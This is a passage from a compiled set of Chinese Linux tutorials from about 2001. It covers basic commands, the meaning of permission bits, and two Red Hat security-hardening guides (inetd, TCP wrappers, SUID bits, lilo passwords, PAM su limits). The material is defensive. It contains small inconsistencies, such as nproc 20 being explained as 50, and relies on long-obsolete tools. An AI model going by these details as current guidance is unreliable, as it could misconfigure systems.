第四次成为:775(rwx rwx rx)呵呵;)头大了吗? 慢慢来,其实弄懂了权限位就很清楚了.
9. clear,date命令
中文描述:clear:清屏,相当与DOS下的cls;date:显示当前时间. 用法:clear;date; clear举例:就不用了吧?J
date举例:
[bkbll@market own]$ date
Mon Jul 30 21:10:41 HKT 2001
[bkbll@market own]$
10.mount 命令
中文描述:加载一个硬件设备.
用法:mount [参数] 要加载的设备 载入点. 举例: 加载软盘(在linux下软盘一第要mount上去才能用,和windows不同.) 要运行这个程序,您必须切换到root状态(忘记说su命令了) 先用 root登陆.(用ALT+F1,ALT+F2,…………ALT+F6切换终端).
[root@market /root]# mkdir /a /**建立一个目录，下节补讲
[root@market /root]# mount /dev/fd0H1440 /a
备注:如果mount /dev/fd0H1440 /a不成功 那么可以运行
mount -t msdos /dev/fd0H1440 /a 先建立一个目录,比如:/a表示根目录下的a.这样你mount成功后,可以直接象操作目录,文件一样 ，操作/a目录.
[root@market /a]# ls
1.jpg 2.pl 4.pl encrypt eschool.so test.pl 1.pl 3.pl decrypt eschool.bs facilities.cgi.bak 上面的就都是软盘里面的东西. 在取下软盘之前,必须先umount掉 umount掉之前,请先退出/a目录. 然后
[root@market /a]# cd ..
[root@market /]# umount /a
[root@market /]# ls /a
[root@market /]#
这样就把软盘umount掉了.
光盘就比较容易了:
[root@market /]# mount /dev/cdrom
[root@market /]# cd /mnt/cdrom
[root@market cdrom]# ls
CONTENTS.TXT Dos IE50 TOOLS WINDOWS handbook.doc
[root@market cdrom]#
缺省是mount到了/mnt的cdrom目录
10:su命令
中文描述:在不退出登陆的情况下,切换到另外一个人的身份.
用法:su -l 用户名(如果用户名缺省,则切换到root状态)
举例:
[bkbll@market own]$ whoami
bkbll
[bkbll@market own]$ su -l lltxyz
Password: /**这里输入用户lltxyz的密码
[lltxyz@market lltxyz]$ whoami
lltxyz
[lltxyz@market lltxyz]$
切换到root:
[bkbll@market own]$ whoami
bkbll
[bkbll@market own]$ su -l
Password:
[root@market /root]# whoami
root
[root@market /root]#
然后可以用exit和ctrl+d退出.

书接上回.
这几天我一直忙着写会员管理的程序,昨天刚写完,今天可以松一口气来写这个了.
11.whoami,whereis,which,id
中文描述:确认自己在终端机上的身份以及查找应用命令程序等的路径以及帮助文档所在目录.
whoami:确认自己身份.
whereis:查询命令所在目录以及帮助文档所在目录.
which:查询该命令所在目录(类似whereis)
id:打印出自己的UID以及GID.(UID:用户身份唯一标识.GID:用户组身份唯一标识.每一个用户只能有一个唯一的UID和GID.)
用法:whoami;whereis 命令 ;which 命令;id
举例,当你从一台机器登陆到(telnet)到另外一台机器上面去的时候,如果登陆过多,您就可能忘记自己的身份了,
这会给你的工作带来一些不必要的麻烦.不过使用whoami可以知道自己是谁:
[bkbll@market bkbll]$ whoami
bkbll 　　　　　　　　　　　　　/*这里就是你登陆的用户名
[bkbll@market bkbll]$
当你在使用一条命令的时候，是否想知道该条命令具体是放在哪个目录呢？whoami以及whereis提供了查询的功能．
所不同的是whereis会在整个的命令目录下面查找:具体包括:/bin,/usr/bin/,/usr/sbin/等.而且还会查找出该条命令的源码,
帮助等文件所在的目录.(前提是你要装了所有的源码).而which则只会简单的查找一些固定的目录.举例:
[bkbll@market bkbll]$ whereis bin
bin: /usr/local/bin
[bkbll@market bkbll]$ which bin
/usr/bin/which: no bin in (~HOME/./:/bin:/usr/bin:/usr/sbin/:/usr/local/bin:/bin :/usr/bin:/usr/X11R6/bin:/home/bkbll/bin)
从这里就能看出whereis比which搜索全面吧?
[bkbll@market bkbll]$ whereis man
man: /usr/bin/man /etc/man.config /usr/local/man /usr/man/man1/man.1.gz /usr/man /man7/man.7.gz
[bkbll@market bkbll]$ which man
/usr/bin/man
whereis命令能查找出和该命令相关的所有信息,比如配置文件(man.config),帮助文件路径:/usr/man/man1/man.1.gz
12.grep,find
中文描述:最有效的linux搜索软件.grep:文本内容搜索;find:文件或者目录名以及权限属主等匹配搜索.
基本用法: grep 搜索的字符串 目录 (-r 如果想在该目录的子目录下面查找);find 目录名 -name 文件名 -print
举例:
[bkbll@market myown]$ grep success * 　　/*查找当前目录下面所有文件里面含有success字符的文件
1.pl:print "success$i!\n";} 　　　　　　　/*文件1.pl中有success字符串
3.pl:print "success$i!\n";} 　　　　　　　　　　/* 文件3.pl中有success字符串
decrypt: print "encrypted $file to $target success!\n" ; /*文件decrypt有.
en: print "encrypted $file to $target success!\n" ; 　　/*文件en满足条件
encrypt: print "encrypted $file to $target success!\n" ;
总的说来,每一行均是符合要求的文件内容片段.在第一个冒号的前面就是符合要求的文件名.这个在你在文件数量很大的时候,查找显得特别有用,
对我当年学习以及熟悉bbs的源码取了很大的作用.
[bkbll@market myown]$ find /etc -name inittab -print /*格式是:find 目录名(/etc根目录下etc目录) -name 文件名(inittab) -print
find: /etc/X11/xdm/authdir: Permission denied 　　　/*权限不够,不能浏览这个目录.
find: /etc/default: Permission denied 　　　　　　　/*权限不够
/etc/inittab 　　　　　　　　　　　　　　　　　/*查到这个文件,路径是/etc/inittab
find: /etc/webmin: Permission denied 　　　　　 /* 权限不够.
[bkbll@market myown]$
如果没有找到符合要求的内容,文件,将会直接返回,没有任何输出.
13.kill
中文描述:可以杀死某个正在进行或者已经是dest状态的进程.(关于进程的理解,您可以认为是一个程序,但是是程序的最小单位.)
比如你正在运行的程序已经僵死了,可以形容成为"死机 "状态,在win98下你只有重启,但是在这里你可以使用kill命令来杀死你的这个程序进程 ,回到正常的界面.
比如:
[bkbll@market /bin]$ ftp download.microsoft.com

光标就死在那里不动了,这个时候该怎么处理呢?如果你有多个终端,你连上去,把你运行的这个进程给kill掉就好了.
比如:我用alt+F2,3,4,5 键切换到另一个终端console,进去后:
运行:
[bkbll@market /bin]$ ps ax
PID TTY STAT TIME COMMAND
1 ? S 0:05 init [3]
2 ? SW 0:00 [kflushd]
3 ? SW 0:00 [kupdate]
4 ? SW 0:00 [kpiod]
5 ? SW 0:00 [kswapd]
............................
12890 pts/0 S 0:00 login -- bkbll
12891 pts/0 S 0:00 -bash
13138 pts/0 T 0:00 ftp download.microsoft.com
13159 pts/0 R 0:00 ps ax
其中第一列的数字就是我们需要的PID,进程ID,这个在系统上是唯一的,然后从COMMAND列里面找到对应的PID,比如:刚才我们 ftp 那个进程的PID就是
13138,那我运行:
[bkbll@market /bin]$ kill -9 13138
[1]+ Killed ftp download.microsoft.com
[bkbll@market /bin]$
其中-9表示强制执行,如果你直接kill 13138没有反映,那么请加上-9参数.
执行完了,再用ps -ax命令查看进程:
bkbll@market /bin]$ ps ax
PID TTY STAT TIME COMMAND
1 ? S 0:05 init [3]
2 ? SW 0:00 [kflushd]
3 ? SW 0:00 [kupdate]
4 ? SW 0:00 [kpiod]
5 ? SW 0:00 [kswapd]
............................
12889 ? S 0:00 in.telnetd: 202.202.50.201
12890 pts/0 S 0:00 login -- bkbll
12891 pts/0 S 0:00 -bash
13163 pts/0 R 0:00 ps ax
[bkbll@market /bin]$
其中刚才的那个ftp.进程就已经被杀了.你再切换回来发现终端已经恢复正常.
可能今天写的东西比较复杂一点,如果有什么疑问的话,请即使反馈给我。
就写这么多了，下次待续....................

bkbll 　　　与2001年08/06深圳特区报社


Linux 网络安全和优化

简介:

网络安全是一个非常重要的课题,基本上你运行的服务后台越多,你就可能打开更多的安全漏洞.如果配置的 恰当的话,Linux本身是非常安全可靠的,假使在Linux系统中有某个安全缺陷,由于Linux的源码是开放的，有 成千上万的志愿者会立刻发现并修补它。本文旨在介绍用来增强/优化你的站点安全性的一般技术,以Redhat Linux作为操作环境。

第一部分：基本的网络安全

1.操作系统内部的log file是检测是否有网络入侵的重要线索，当然这个假定你的logfile不被侵入者 所破坏，如果你有台服务器用专线直接连到Internet上，这意味着你的IP地址是永久固定的地址，你会发现 有很多人对你的系统做telnet/ftp登录尝试，试着运行#more /var/log/secure | grep refused 去检查。

2. 限制具有SUID权限标志的程序数量，具有该权限标志的程序以root身份运行，是一个潜在的安全漏洞，当 然，有些程序是必须要具有该标志的，象passwd程序。

3.BIOS安全。设置BIOS密码且修改引导次序禁止从软盘启动系统。

4. 用户口令。用户口令是Linux安全的一个最基本的起点，很多人使用的用户口令就是简单的‘password'， 这等于给侵入者敞开了大门，虽然从理论上说没有不能确解的用户口令，只要有足够的时间和资源可以利用。 比较好的用户口令是那些只有他自己能够容易记得并理解的一串字符，并且绝对不要在任何地方写出来。

5./etc/exports 文件。 如果你使用NFS网络文件系统服务，那么确保你的/etc/exports具有最严格的存取权限设置，不意味着不要 使用任何通配符，不允许root写权限，mount成只读文件系统。 编辑文件/etc/exports并且加： 例如：

/dir/to/export host1.mydomain.com(ro,root_squash)
/dir/to/export host2.mydomain.com(ro,root_squash)

/dir/to/export 是你想输出的目录，host.mydomain.com是登录这个目录的机器名，
ro意味着mount成只读系统，root_squash禁止root写入该目录。
为了让上面的改变生效，运行/usr/sbin/exportfs -a

6.确信/etc/inetd.conf的所有者是root，且文件权限设置为600 。
[root@deep]# chmod 600 /etc/inetd.conf
ENSURE that the owner is root.
[root@deep]# stat /etc/inetd.conf
File: "/etc/inetd.conf"
Size: 2869 Filetype: Regular File
Mode: (0600/-rw-------) Uid: ( 0/ root) Gid: ( 0/ root)
Device: 8,6 Inode: 18219 Links: 1
Access: Wed Sep 22 16:24:16 1999(00000.00:10:44)
Modify: Mon Sep 20 10:22:44 1999(00002.06:12:16)
Change:Mon Sep 20 10:22:44 1999(00002.06:12:16)
编辑/etc/inetd.conf禁止以下服务：
ftp, telnet, shell, login, exec, talk, ntalk, imap, pop-2, pop-3, finger,
auth, etc. 除非你真的想用它。
特别是禁止那些r命令.如果你用ssh/scp，那么你也可以禁止掉telnet/ftp。

为了使改变生效，运行#killall -HUP inetd
你也可以运行#chattr +i /etc/inetd.conf使该文件具有不可更改属性。只有root
才能解开，用命令
#chattr -i /etc/inetd.conf

7. TCP_WRAPPERS
默认地，Redhat Linux允许所有的请求,用TCP_WRAPPERS增强你的站点的安全性是举手
之劳，你可以放入
“ALL: ALL”到/etc/hosts.deny中禁止所有的请求，然后放那些明确允许的请求到
/etc/hosts.allow中，如:
sshd: 192.168.1.10/255.255.255.0 gate.openarch.com
对IP地址192.168.1.10和主机名gate.openarch.com，允许通过ssh连接。
配置完了之后，用tcpdchk检查

[root@deep]# tcpdchk
tcpchk是TCP_Wrapper配置检查工具，它检查你的tcp wrapper配置并报告所有发现的
潜在/存在的问题。

8. 别名文件aliases
编辑别名文件/etc/aliases（也可能是/etc/mail/aliases)，移走/注释掉下面的行。

# Basic system aliases -- these MUST be present.
MAILER-DAEMON: postmaster
postmaster: root
# General redirections for pseudo accounts.
bin: root
daemon: root
#games: root ? remove or comment out.
#ingres: root ? remove or comment out.
nobody: root
#system: root ? remove or comment out.
#toor: root ? remove or comment out.
#uucp: root ? remove or comment out.
# Well-known aliases.
#manager: root ? remove or comment out.
#dumper: root ? remove or comment out.
#operator: root ? remove or comment out.
# trap decode to catch security attacks
#decode: root
# Person who should get root's mail
#root: marc
最后更新后不要忘记运行/usr/bin/newaliases，使改变生效。

9.阻止你的系统响应任何从外部/内部来的ping请求。
既然没有人能ping通你的机器并收到响应，你可以大大增强你的站点的安全性。
你可以加下面的一行命令到/etc/rc.d/rc.local，以使每次启动后自动运行。

echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all

10. 不要显示出操作系统和版本信息。
如果你希望某个人远程登录到你的服务器时不要显示操作系统和版本信息，你能改变
/etc/inetd.conf中的一行象下面这样：

telnet stream tcp nowait root /usr/sbin/tcpd in.telnetd -h

加-h标志在最后使得telnet后台不要显示系统信息，而仅仅显示login:

11.The /etc/host.conf file
编辑host.conf文件(vi /etc/host.conf)且加下面的行：

# Lookup names via DNS first then fall back to /etc/hosts.
order bind,hosts
# We don't have machines with multiple IP addresses on the same card
(like virtual server,IP Aliasing).
multi off
# Check for IP address spoofing.
nospoof on
IP Spoofing: IP-Spoofing is a security exploit that works by tricking
computers in a trust relationship that you are someone that you really aren't.

12. The /etc/securetty file
该文件指定了允许root登录的tty设备，/etc/securetty被/bin/login程序读取,它的
格式是一行一个被允许的名字列表，如你可以编辑/etc/securetty且注释出下面的行。
tty1
#tty2
#tty3
#tty4
#tty5
#tty6
#tty7
#tty8
-意味着root仅仅被允许在tty1终端登录。

13. 特别的帐号
禁止所有默认的被操作系统本身启动的且不需要的帐号，当你第一次装上系统时就应该
做此检查，Linux提供了各种帐号，你可能不需要，如果你不需要这个帐号，就移走它，
你有的帐号越多，就越容易受到攻击。
为删除你系统上的用户，用下面的命令：
[root@deep]# userdel username
为删除你系统上的组用户帐号，用下面的命令：
[root@deep]# groupdel username
在终端上打入下面的命令删掉下面的用户。
[root@deep]# userdel adm
[root@deep]# userdel lp
[root@deep]# userdel sync
[root@deep]# userdel shutdown
[root@deep]# userdel halt
[root@deep]# userdel mail
如果你不用sendmail服务器，procmail.mailx,就删除这个帐号。
[root@deep]# userdel news
[root@deep]# userdel uucp
[root@deep]# userdel operator
[root@deep]# userdel games
如果你不用X windows 服务器，就删掉这个帐号。
[root@deep]# userdel gopher
[root@deep]# userdel ftp
如果你不允许匿名FTP，就删掉这个用户帐号。
===
打入下面的命令删除组帐号
[root@deep]# groupdel adm
[root@deep]# groupdel lp
[root@deep]# groupdel mail
如不用Sendmail服务器，删除这个组帐号
[root@deep]# groupdel news
[root@deep]# groupdel uucp
[root@deep]# groupdel games
如你不用X Windows，删除这个组帐号
[root@deep]# groupdel dip
[root@deep]# groupdel pppusers
[root@deep]# groupdel popusers
如果你不用POP服务器，删除这个组帐号
[root@deep]# groupdel slipusers
====
用下面的命令加需要的用户帐号
[root@deep]# useradd username
用下面的命令改变用户口令
[root@deep]# passwd username

用chattr命令给下面的文件加上不可更改属性。
[root@deep]# chattr +i /etc/passwd
[root@deep]# chattr +i /etc/shadow
[root@deep]# chattr +i /etc/group
[root@deep]# chattr +i /etc/gshadow

14. 阻止任何人su作为root.
如果你不想任何人能够su作为root,你能编辑/etc/pam.d/su加下面的行：

auth sufficient /lib/security/pam_rootok.so debug
auth required /lib/security/pam_wheel.so group=isd

意味着仅仅isd组的用户可以su作为root.
然后，如果你希望用户admin能su作为root.就运行下面的命令。

[root@deep]# usermod -G10 admin

16. 资源限制
对你的系统上所有的用户设置资源限制可以防止DoS类型攻击（denial of service attacks）
如最大进程数，内存数量等。例如，对所有用户的限制象下面这样：
编辑/etc/security/limits.con加：

* hard core 0
* hard rss 5000
* hard nproc 20
你也必须编辑/etc/pam.d/login文件加/检查这一行的存在。

session required /lib/security/pam_limits.so

上面的命令禁止core files“core 0”，限制进程数为“nproc 50“，且限制内存使用
为5M“rss 5000”。

17. The /etc/lilo.conf file

a) Add: restricted
加这一行到每一个引导映像下面，就这表明如果你引导时用(linux single),则需要一个password.

b) Add: password=some_password
当与restricted联合用，且正常引导时，需要用户输入密码，你也要确保lilo.conf
文件不能被不属于root的用户可读，也免看到密码明文。下面是例子：
编辑/etc/lilo.conf加：
====
boot=/dev/sda
map=/boot/map
install=/boot/boot.b
prompt
timeout=50
Default=linux
restricted ? add this line.
password=some_password ? add this line.
image=/boot/vmlinuz-2.2.12-20
label=linux
initrd=/boot/initrd-2.2.12-10.img
root=/dev/sda6
read-only
[root@deep]# chmod 600 /etc/lilo.conf (不再能被其他用户可读).
[root@deep]# /sbin/lilo -v (更新lilo配置).
[root@deep]# chattr +i /etc/lilo.conf（阻止该文件被修改）

18. 禁止 Control-Alt-Delete 重启动机器命令

[root@deep]# vi /etc/inittab
ca::ctrlaltdel:/sbin/shutdown -t3 -r now
To
#ca::ctrlaltdel:/sbin/shutdown -t3 -r now
[root@deep]# /sbin/init q

19. 重新设置/etc/rc.d/init.d/目录下所有文件的许可权限
[root@deep]# chmod -R 700 /etc/rc.d/init.d/*
仅仅root可以读，写，执行上述所有script file.

20. The /etc/rc.d/rc.local file
默认地，当你login到linux server时，它告诉你linux版本名，内核版本名和服务器
主机名。它给了你太多的信息，如果你就希望得到提示login: ,编辑
/etc/rc.d/rc.local放#在下面的行前面：
--
# This will overwrite /etc/issue at every boot. So, make any changes you
# want to make to /etc/issue here or you will lose them when you reboot.
#echo "" > /etc/issue
#echo "$R" >> /etc/issue
#echo "Kernel $(uname -r) on $a $(uname -m)" >> /etc/issue
#
#cp -f /etc/issue /etc/issue.net
#echo >> /etc/issue
--
然后，做下面的事情:
[root@deep]# rm -f /etc/issue
[root@deep]# rm -f /etc/issue.net
[root@deep]# touch /etc/issue
[root@deep]# touch /etc/issue.net

21. 被root拥有的程序的位。
移走那些被root拥有程序的s位标志，当然有些程序需要这个，用命令‘chmod a-s’完成这个。
注：前面带（*）号的那些程序一般不需要拥有s位标志。

[root@deep]# find / -type f \( -perm -04000 -o -perm -02000 \) \-exec ls –lg {} \;
-rwsr-xr-x 1 root root 33120 Mar 21 1999 /usr/bin/at
*-rwsr-xr-x 1 root root 30560 Apr 15 20:03 /usr/bin/chage
*-rwsr-xr-x 1 root root 29492 Apr 15 20:03 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 3208 Mar 22 1999 /usr/bin/disable-paste
-rwxr-sr-x 1 root man 32320 Apr 9 1999 /usr/bin/man
-r-s--x--x 1 root root 10704 Apr 14 17:21 /usr/bin/passwd
-rws--x--x 2 root root 517916 Apr 6 1999 /usr/bin/suidperl
-rws--x--x 2 root root 517916 Apr 6 1999 /usr/bin/sperl5.00503
-rwxr-sr-x 1 root mail 11432 Apr 6 1999 /usr/bin/lockfile
-rwsr-sr-x 1 root mail 64468 Apr 6 1999 /usr/bin/procmail
-rwsr-xr-x 1 root root 21848 Aug 27 11:06 /usr/bin/crontab
-rwxr-sr-x 1 root slocate 15032 Apr 19 14:55 /usr/bin/slocate
*-r-xr-sr-x 1 root tty 6212 Apr 17 11:29 /usr/bin/wall
*-rws--x--x 1 root root 14088 Apr 17 12:57 /usr/bin/chfn
*-rws--x--x 1 root root 13800 Apr 17 12:57 /usr/bin/chsh
*-rws--x--x 1 root root 5576 Apr 17 12:57 /usr/bin/newgrp
*-rwxr-sr-x 1 root tty 8392 Apr 17 12:57 /usr/bin/write
-rwsr-x--- 1 root squid 14076 Oct 7 14:48 /usr/lib/squid/pinger
-rwxr-sr-x 1 root utmp 15587 Jun 9 09:30 /usr/sbin/utempter
*-rwsr-xr-x 1 root root 5736 Apr 19 15:39 /usr/sbin/usernetctl
*-rwsr-xr-x 1 root bin 16488 Jul 6 09:35 /usr/sbin/traceroute
-rwsr-sr-x 1 root root 299364 Apr 19 16:38 /usr/sbin/sendmail
-rwsr-xr-x 1 root root 34131 Apr 16 18:49 /usr/libexec/pt_chown
-rwsr-xr-x 1 root root 13208 Apr 13 14:58 /bin/su
*-rwsr-xr-x 1 root root 52788 Apr 17 15:16 /bin/mount
*-rwsr-xr-x 1 root root 26508 Apr 17 20:26 /bin/umount
*-rwsr-xr-x 1 root root 17652 Jul 6 09:33 /bin/ping
-rwsr-xr-x 1 root root 20164 Apr 17 12:57 /bin/login
*-rwxr-sr-x 1 root root 3860 Apr 19 15:39 /sbin/netreport
-r-sr-xr-x 1 root root 46472 Apr 17 16:26 /sbin/pwdb_chkpwd
[root@deep]# chmod a-s /usr/bin/chage
[root@deep]# chmod a-s /usr/bin/gpasswd
[root@deep]# chmod a-s /usr/bin/wall
[root@deep]# chmod a-s /usr/bin/chfn
[root@deep]# chmod a-s /usr/bin/chsh
[root@deep]# chmod a-s /usr/bin/newgrp
[root@deep]# chmod a-s /usr/bin/write
[root@deep]# chmod a-s /usr/sbin/usernetctl
[root@deep]# chmod a-s /usr/sbin/traceroute
[root@deep]# chmod a-s /bin/mount
[root@deep]# chmod a-s /bin/umount
[root@deep]# chmod a-s /bin/ping
[root@deep]# chmod a-s /sbin/netreport

你可以用下面的命令查找所有带s位标志的程序：
[root@deep]# find / -type f \( -perm -04000 -o -perm -02000 \) \-exec ls -lg {} \;
> suid-sgid-results
把结果输出到文件suid-sgid-results中。

为了查找所有可写的文件和目录，用下面的命令：
[root@deep]# find / -type f \( -perm -2 -o -perm -20 \) -exec ls -lg {} \; > ww-files-results
[root@deep]# find / -type d \( -perm -2 -o -perm -20 \) -exec ls -ldg {} \; > ww-directories-results

用下面的命令查找没有拥有者的文件：
[root@deep]# find / -nouser -o -nogroup > unowed-results

用下面的命令查找所有的.rhosts文件：
[root@deep]# find /home -name .rhosts > rhost-results


LINUX/UNIX里用户权限的详细解说

这两天上网总有人问我UNIX里的文件后面的rwxr-xr--，754是什么意思，知道是代表权限，不知具体是什么意思！正好我的网站文章更新（就是我到各大网站，把好文章拿回来放到我站上。这次100多篇呢）正好124篇，差一篇125，为了凑正我就写了这篇文章，一举两得嘛！: )

好了进入正题，UNIX为了对文件进行保护，UNIX系统中提供了文件存取控制方式。把所有用户划分为三种身份，依次是：文件主（user)、同组用户(group)和其他用户（other).
每种用户对一个文件都拥有读(r)、写(w)和执行(x)的权限。这样就用9个二进制位表示文件的存取方式。例如：
111101100（对应的八进制数表为754）
表示文件主（前三位，111）对该文件的权限有可读、可写、可执行。
同组用户（中间三位，101）对该文件的权限有可读、不可写，可执行。
其他用户（后三位，100）对该文件的权限有可读、不可写、不可执行。
（其中1表示在该位置上有权限，0表示在改位置上无权限。）
用字符表示上述文件方式如下所示：
rwxr-xr--
这9位的顺序是固定的。前三位文件主、中间3位同组用户、后三位其他用户。
（其中“-”的位置表示对应用户不具备相应的权限） 天浪


Linux安全设置手册

by:Kapil Sharma from Linux_Month(An Onine Monthly Linux Magzine)
翻译：f@tfox

本文讲述了如何通过基本的安全措施，使你的Linux系统变得可靠。

1、Bios Security
一定要给Bios设置密码，以防通过在Bios中改变启动顺序，而可以从软盘启动。这样可以阻止别人试图用特殊的启动盘启动你的系统，还可以阻止别人进入Bios改动其中的设置（比如允许通过软盘启动等）。

2、LILO Security
在“/etc/lilo.conf”文件中加入下面三个参数：time-out,restricted,password。这三个参数可以使你的系统在启动lilo时就要求密码验证。

第一步：
编辑lilo.conf文件（vi /etc/lilo.comf）,假如或改变这三个参数：
boot=/dev/hda
map=/boot/map
install=/boot/boot.b
time-out=00 #把这行该为00
prompt
Default=linux
restricted #加入这行
password=<password> #加入这行并设置自己的密码
image=/boot/vmlinuz-2.2.14-12
label=linux
initrd=/boot/initrd-2.2.14-12.img
root=/dev/hda6
read-only

第二步：
因为"/etc/lilo.conf"文件中包含明文密码，所以要把它设置为root权限读取。
[root@kapil /]# chmod 600 /etc/lilo.conf

第三步：
更新系统，以便对“/etc/lilo.conf”文件做的修改起作用。
[Root@kapil /]# /sbin/lilo -v

第四步：
使用“chattr”命令使"/etc/lilo.conf"文件变为不可改变。
[root@kapil /]# chattr +i /etc/lilo.conf
这样可以防止对“/etc/lilo.conf”任何改变（以外或其他原因）

3、删除所有的特殊账户
你应该删除所有不用的缺省用户和组账户（比如lp, sync, shutdown, halt, news, uucp, operator, games, gopher等）。
删除用户：
[root@kapil /]# userdel LP
删除组：
[root@kapil /]# groupdel LP

4、选择正确的密码
在选择正确密码之前还应作以下修改：
修改密码长度：在你安装linux时默认的密码长度是5个字节。但这并不够，要把它设为8。修改最短密码长度需要编辑login.defs文件（vi /etc/login.defs），把下面这行
PASS_MIN_LEN 5
改为
PASS_MIN_LEN 8
login.defs文件是login程序的配置文件。

5、打开密码的shadow支持功能：
你应该打开密码的shadow功能，来对password加密。使用“/usr/sbin/authconfig”工具打开shadow功能。如果你想把已有的密码和组转变为shadow格式，可以分别使用“pwcov,grpconv”命令。

6、root账户
在unix系统中root账户是具有最高特权的。如果系统管理员在离开系统之前忘记注销root账户，系统会自动注销。通过修改账户中“TMOUT”参数，可以实现此功能。TMOUT按秒计算。编辑你的profile文件（vi /etc/profile）,在"HISTFILESIZE="后面加入下面这行：
TMOUT=3600
3600，表示60*60=3600秒，也就是1小时。这样，如果系统中登陆的用户在一个小时内都没有动作，那么系统会自动注销这个账户。你可以在个别用户的“.bashrc”文件中添加该值，以便系统对该用户实行特殊的自动注销时间。
改变这项设置后，必须先注销用户，再用该用户登陆才能激活这个功能。

7、取消普通用户的控制台访问权限
你应该取消普通用户的控制台访问权限，比如shutdown、reboot、halt等命令。
[root@kapil /]# rm -f /etc/security/console.apps/<servicename>
<servicename>是你要注销的程序名。

8、取消并反安装所有不用的服务
取消并反安装所有不用的服务，这样你的担心就会少很多。察看“/etc/inetd.conf”文件，通过注释取消所有你不需要的服务（在该服务项目之前加一个“#”）。然后用“sighup”命令升级“inetd.conf”文件。
第一步：
更改“/etc/inetd.conf”权限为600，只允许root来读写该文件。
[Root@kapil /]# chmod 600 /etc/inetd.conf
第二步：
确定“/etc/inetd.conf”文件所有者为root。
第三步：
编辑 /etc/inetd.conf文件（vi /etc/inetd.conf），取消下列服务（你不需要的）：ftp, telnet, shell, login, exec, talk, ntalk, imap, pop-2, pop-3, finger, auth等等。把不需要的服务关闭可以使系统的危险性降低很多。
第四步：
给inetd进程发送一个HUP信号：
[root@kapil /]# killall -HUP inetd
第五步：
用chattr命令把/ec/inetd.conf文件设为不可修改，这样就没人可以修改它：
[root@kapil /]# chattr +i /etc/inetd.conf
这样可以防止对inetd.conf的任何修改（以外或其他原因）。唯一可以取消这个属性的人只有root。如果要修改inetd.conf文件，首先要是取消不可修改性质：
[root@kapil /]# chattr -i /etc/inetd.conf
别忘了该后再把它的性质改为不可修改的。

9、TCP_WRAPPERS
使用TCP_WRAPPERS可以使你的系统安全面对外部入侵。最好的策略就是阻止所有的主机（在"/etc/hosts.deny" 文件中加入"ALL: ALL@ALL, PARANOID" ），然后再在"/etc/hosts.allow" 文件中加入所有允许访问的主机列表。
第一步：
编辑hosts.deny文件（vi /etc/hosts.deny），加入下面这行
# Deny access to everyone.
ALL: ALL@ALL, PARANOID
这表明除非该地址包好在允许访问的主机列表中，否则阻塞所有的服务和地址。
第二步：
编辑hosts.allow文件（vi /etc/hosts.allow），加入允许访问的主机列表，比如：
ftp: 202.54.15.99 foo.com
202.54.15.99和 foo.com是允许访问ftp服务的ip地址和主机名称。
第三步：
tcpdchk程序是tepd wrapper设置检查程序。它用来检查你的tcp wrapper设置，并报告发现的潜在的和真实的问题。设置完后，运行下面这个命令：
[Root@kapil /]# tcpdchk

10、禁止系统信息暴露
当有人远程登陆时，禁止显示系统欢迎信息。你可以通过修改“/etc/inetd.conf”文件来达到这个目的。
把/etc/inetd.conf文件下面这行：
telnet stream tcp nowait root /usr/sbin/tcpd in.telnetd
修改为:
telnet stream tcp nowait root /usr/sbin/tcpd in.telnetd -h
在最后加“-h”可以使当有人登陆时只显示一个login:提示，而不显示系统欢迎信息。

11、修改“/etc/host.conf”文件
“/etc/host.conf”说明了如何解析地址。编辑“/etc/host.conf”文件（vi /etc/host.conf），加入下面这行：
# Lookup names via DNS first then fall back to /etc/hosts.
order bind,hosts
# We have machines with multiple IP addresses.
multi on
# Check for IP address spoofing.
nospoof on
第一项设置首先通过DNS解析IP地址，然后通过hosts文件解析。第二项设置检测是否“/etc/hosts”文件中的主机是否拥有多个IP地址（比如有多个以太口网卡）。第三项设置说明要注意对本机未经许可的电子欺骗。

12、使“/etc/services”文件免疫
使“/etc/services”文件免疫，防止未经许可的删除或添加服务：
[root@kapil /]# chattr +i /etc/services

13、不允许从不同的控制台进行root登陆
"/etc/securetty"文件允许你定义root用户可以从那个TTY设备登陆。你可以编辑"/etc/securetty"文件，再不需要登陆的TTY设备前添加“#”标志，来禁止从该TTY设备进行root登陆。

14、禁止任何人通过su命令改变为root用户
su(Substitute User替代用户)命令允许你成为系统中其他已存在的用户。如果你不希望任何人通过su命令改变为root用户或对某些用户限制使用su命令，你可以在su配置文件（在"/etc/pam.d/"目录下）的开头添加下面两行：
编辑su文件(vi /etc/pam.d/su)，在开头添加下面两行：
auth sufficient /lib/security/pam_rootok.so debug
auth required /lib/security/Pam_wheel.so group=wheel
这表明只有"wheel"组的成员可以使用su命令成为root用户。你可以把用户添加到“wheel”组，以使它可以使用su命令成为root用户。

15、Shell logging
Bash shell在“~/.bash_history”（“~/”表示用户目录）文件中保存了500条使用过的命令，这样可以使你输入使用过的长命令变得容易。每个在系统中拥有账号的用户在他的目录下都有一个“.bash_history”文件。bash shell应该保存少量的命令，并且在每次用户注销时都把这些历史命令删除。
第一步：
“/etc/profile”文件中的“HISTFILESIZE”和“HISTSIZE”行确定所有用户的“.bash_history”文件中可以保存的旧命令条数。强烈建议把把“/etc/profile”文件中的“HISTFILESIZE”和“HISTSIZE”行的值设为一个较小的数，比如30。编辑profile文件（vi /etc/profile），把下面这行改为：
HISTFILESIZE=30
HISTSIZE=30
这表示每个用户的“.bash_history”文件只可以保存30条旧命令。
第二步：
网管还应该在"/etc/skel/.bash_logout" 文件中添加下面这行"rm -f $HOME/.bash_history" 。这样，当用户每次注销时，“.bash_history”文件都会被删除。
编辑.bash_logout文件(vi /etc/skel/.bash_logout) ，添加下面这行：
rm -f $HOME/.bash_history

16、禁止Control-Alt-Delete 键盘关闭命令
在"/etc/inittab" 文件中注释掉下面这行（使用#）：
ca::ctrlaltdel:/sbin/shutdown -t3 -r now
改为：
#ca::ctrlaltdel:/sbin/shutdown -t3 -r now
为了使这项改动起作用，输入下面这个命令：
[root@kapil /]# /sbin/init q

17、给"/etc/rc.d/init.d" 下script文件设置权限
给执行或关闭启动时执行的程序的script文件设置权限。
[root@kapil/]# chmod -R 700 /etc/rc.d/init.d/*
这表示只有root才允许读、写、执行该目录下的script文件。

18、隐藏系统信息
在缺省情况下，当你登陆到linux系统，它会告诉你该linux发行版的名称、版本、内核版本、服务器的名称。对于黑客来说这些信息足够它入侵你的系统了。你应该只给它显示一个“login:”提示符。
第一步：
编辑"/etc/rc.d/rc.local" 文件，在下面显示的这些行前加一个“#”，把输出信息的命令注释掉。
